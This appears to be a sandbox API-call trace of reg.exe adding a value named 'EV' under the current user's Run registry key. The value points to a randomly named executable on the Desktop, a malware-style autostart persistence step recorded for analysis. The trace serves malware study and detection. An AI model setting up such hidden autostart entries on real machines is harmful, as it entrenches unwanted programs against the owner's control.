	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c10
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c40
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c70
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b790
	[0206.220] GetProcessHeap () returned 0x2f0000
	[0206.220] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ca0
	[0206.220] GetProcessHeap () returned 0x2f0000
	[0206.220] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305cd0
	[0206.220] GetProcessHeap () returned 0x2f0000
	[0206.220] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d00
	[0206.220] GetProcessHeap () returned 0x2f0000
	[0206.220] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d30
	[0206.220] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0206.221] GetProcessHeap () returned 0x2f0000
	[0206.221] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b7b0
	[0206.221] _memicmp (_Buf1=0x30b7b0, _Buf2=0xff281458, _Size=0x7) returned 0
	[0206.221] GetProcessHeap () returned 0x2f0000
	[0206.221] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x1e) returned 0x305d60
	[0206.221] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.221] GetProcessHeap () returned 0x2f0000
	[0206.221] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b7d0
	[0206.221] _memicmp (_Buf1=0x30b7d0, _Buf2=0xff281458, _Size=0x7) returned 0
	[0206.221] GetProcessHeap () returned 0x2f0000
	[0206.221] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x86) returned 0x30b950
	[0206.222] _vsnwprintf (in: _Buffer=0x305d60, _BufferCount=0xe, _Format="|%s|", _ArgList=0x18f828 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0206.222] _vsnwprintf (in: _Buffer=0x30b950, _BufferCount=0x42, _Format="|%s|", _ArgList=0x18f828 | out: _Buffer="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0206.222] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0206.222] lstrlenW (lpString="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0206.222] SetLastError (dwErrCode=0x490) 
	[0206.222] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.222] GetProcessHeap () returned 0x2f0000
	[0206.222] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x80) returned 0x30b9e0
	[0206.222] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.224] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0206.225] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0206.226] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0206.227] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0206.228] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0206.228] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.229] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0206.229] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.229] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0206.229] StrChrIW (lpStart="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0206.232] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0206.232] GetProcessHeap () returned 0x2f0000
	[0206.232] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x28) returned 0x305d90
	[0206.232] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0206.232] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 2
	[0206.232] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.232] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.232] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.232] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0206.232] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.232] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Run"
	[0206.232] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.233] StrChrIW (lpStart="Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\CurrentVersion\\Run"
	[0206.233] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.233] StrChrIW (lpStart="CurrentVersion\\Run", wMatch=0x5c) returned="\\Run"
	[0206.233] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.233] StrChrIW (lpStart="Run", wMatch=0x5c) returned 0x0
	[0206.233] SetLastError (dwErrCode=0x490) 
	[0206.233] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.233] SetLastError (dwErrCode=0x0) 
	[0206.233] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0206.233] GetProcessHeap () returned 0x2f0000
	[0206.233] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x5c) returned 0x30bc60
	[0206.233] GetProcessHeap () returned 0x2f0000
	[0206.233] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x88) returned 0x30bcd0
	[0206.233] GetProcessHeap () returned 0x2f0000
	[0206.233] GetProcessHeap () returned 0x2f0000
	[0206.234] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d90) returned 1
	[0206.234] GetProcessHeap () returned 0x2f0000
	[0206.234] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d90) returned 0x28
	[0206.234] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d90 | out: hHeap=0x2f0000) returned 1
	[0206.234] GetProcessHeap () returned 0x2f0000
	[0206.234] GetProcessHeap () returned 0x2f0000
	[0206.235] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0) returned 1
	[0206.235] GetProcessHeap () returned 0x2f0000
	[0206.235] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9e0) returned 0x80
	[0206.235] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0 | out: hHeap=0x2f0000) returned 1
	[0206.235] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0206.235] lstrlenW (lpString="EV") returned 2
	[0206.235] GetProcessHeap () returned 0x2f0000
	[0206.235] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6) returned 0x30b7f0
	[0206.235] lstrlenW (lpString="EV") returned 2
	[0206.235] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.235] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.235] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0206.235] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0206.235] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0206.236] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0206.236] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0206.236] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0206.236] StrDupW (lpSrch="REG_SZ") returned="REG_SZ"
	[0206.236] lstrlenW (lpString="REG_SZ") returned 6
	[0206.236] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.236] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0206.236] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0206.237] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0206.237] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0206.237] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0206.237] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_SZ", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 2
	[0206.237] LocalFree (hMem=0x30b9e0) returned 0x0
	[0206.237] SetLastError (dwErrCode=0x0) 
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0206.237] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0206.238] lstrlenW (lpString="￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe") returned 61
	[0206.238] GetProcessHeap () returned 0x2f0000
	[0206.238] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x7c) returned 0x30b9e0
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0206.238] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0206.239] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3
	[0206.240] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1
	[0206.240] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:32", cchCount2=-1) returned 3
	[0206.240] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-reg:32", cchCount2=-1) returned 1
	[0206.240] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:64", cchCount2=-1) returned 2
	[0206.240] SetLastError (dwErrCode=0x0) 
	[0206.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2011f, lpSecurityAttributes=0x0, phkResult=0x18f900, lpdwDisposition=0x18f920 | out: phkResult=0x18f900*=0x54, lpdwDisposition=0x18f920*=0x2) returned 0x0
	[0206.241] RegQueryValueExW (in: hKey=0x54, lpValueName="EV", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0206.241] GetProcessHeap () returned 0x2f0000
	[0206.241] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d90
	[0206.241] GetProcessHeap () returned 0x2f0000
	[0206.241] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305dc0
	[0206.241] GetProcessHeap () returned 0x2f0000
	[0206.242] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30bd60
	[0206.242] _memicmp (_Buf1=0x30bd60, _Buf2=0xff281458, _Size=0x7) returned 0
	[0206.242] GetProcessHeap () returned 0x2f0000
	[0206.242] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x200) returned 0x30bd80
	[0206.242] LoadStringW (in: hInstance=0x0, uID=0xca, lpBuffer=0x30bd80, cchBufferMax=256 | out: lpBuffer="Value %s exists, overwrite(Yes/No)? ") returned 0x24
	[0206.242] lstrlenW (lpString="Value %s exists, overwrite(Yes/No)? ") returned 36
	[0206.243] GetProcessHeap () returned 0x2f0000
	[0206.243] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x4a) returned 0x30bf90
	[0206.243] _memicmp (_Buf1=0x30bd60, _Buf2=0xff281458, _Size=0x7) returned 0
	[0206.243] LoadStringW (in: hInstance=0x0, uID=0xce, lpBuffer=0x30bd80, cchBufferMax=256 | out: lpBuffer="YNA") returned 0x3
	[0206.243] lstrlenW (lpString="YNA") returned 3
	[0206.243] GetProcessHeap () returned 0x2f0000
	[0206.243] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30bff0
	[0206.243] lstrlenW (lpString="￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe") returned 61
	[0206.243] RegSetValueExW (in: hKey=0x54, lpValueName="EV", Reserved=0x0, dwType=0x1, lpData="￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe", cbData=0x7c | out: lpData="￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe") returned 0x0
	[0206.244] RegCloseKey (hKey=0x54) returned 0x0
	[0206.244] GetProcessHeap () returned 0x2f0000
	[0206.244] GetProcessHeap () returned 0x2f0000
	[0206.245] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc60) returned 1
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bc60) returned 0x5c
	[0206.245] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc60 | out: hHeap=0x2f0000) returned 1
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bcd0) returned 1
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bcd0) returned 0x88
	[0206.245] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bcd0 | out: hHeap=0x2f0000) returned 1
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] GetProcessHeap () returned 0x2f0000
	[0206.245] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7f0) returned 1
	[0206.246] GetProcessHeap () returned 0x2f0000
	[0206.246] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b7f0) returned 0x6
	[0206.246] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7f0 | out: hHeap=0x2f0000) returned 1
	[0206.246] GetProcessHeap () returned 0x2f0000
	[0206.246] GetProcessHeap () returned 0x2f0000
	[0206.246] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0) returned 1
	[0206.246] GetProcessHeap () returned 0x2f0000
	[0206.246] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9e0) returned 0x7c
	[0206.246] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9e0 | out: hHeap=0x2f0000) returned 1
	[0206.246] SetLastError (dwErrCode=0x0) 
	[0206.246] GetLastError () returned 0x0
	[0206.246] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x18f880, nSize=0x0, Arguments=0x0 | out: lpBuffer="맠0") returned 0x27
	[0206.389] GetLastError () returned 0x0
	[0206.389] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0206.389] GetProcessHeap () returned 0x2f0000
	[0206.389] GetProcessHeap () returned 0x2f0000
	[0206.389] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b730) returned 1
	[0206.390] GetProcessHeap () returned 0x2f0000
	[0206.390] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b730) returned 0x2
	[0206.390] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b730 | out: hHeap=0x2f0000) returned 1
	[0206.390] GetProcessHeap () returned 0x2f0000
	[0206.390] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x50) returned 0x30bc60
	[0206.390] SetLastError (dwErrCode=0x0) 
	[0206.390] LocalFree (hMem=0x30b9e0) returned 0x0
	[0206.390] __iob_func () returned 0x7fefe122a80
	[0206.390] _fileno (_File=0x7fefe122ab0) returned 1
	[0206.390] _errno () returned 0x224bb0
	[0206.390] _get_osfhandle (_FileHandle=1) returned 0x7
	[0206.390] _errno () returned 0x224bb0
	[0206.391] GetFileType (hFile=0x7) returned 0x2
	[0206.392] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0206.392] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f800 | out: lpMode=0x18f800) returned 1
	[0206.392] __iob_func () returned 0x7fefe122a80
	[0206.392] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0206.392] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0206.393] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x30bc60*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x18f870, lpReserved=0x0 | out: lpBuffer=0x30bc60*, lpNumberOfCharsWritten=0x18f870*=0x27) returned 1
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bd80) returned 1
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bd80) returned 0x200
	[0206.394] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bd80 | out: hHeap=0x2f0000) returned 1
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bd60) returned 1
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.394] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bd60) returned 0x18
	[0206.394] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bd60 | out: hHeap=0x2f0000) returned 1
	[0206.394] GetProcessHeap () returned 0x2f0000
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305dc0) returned 1
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305dc0) returned 0x20
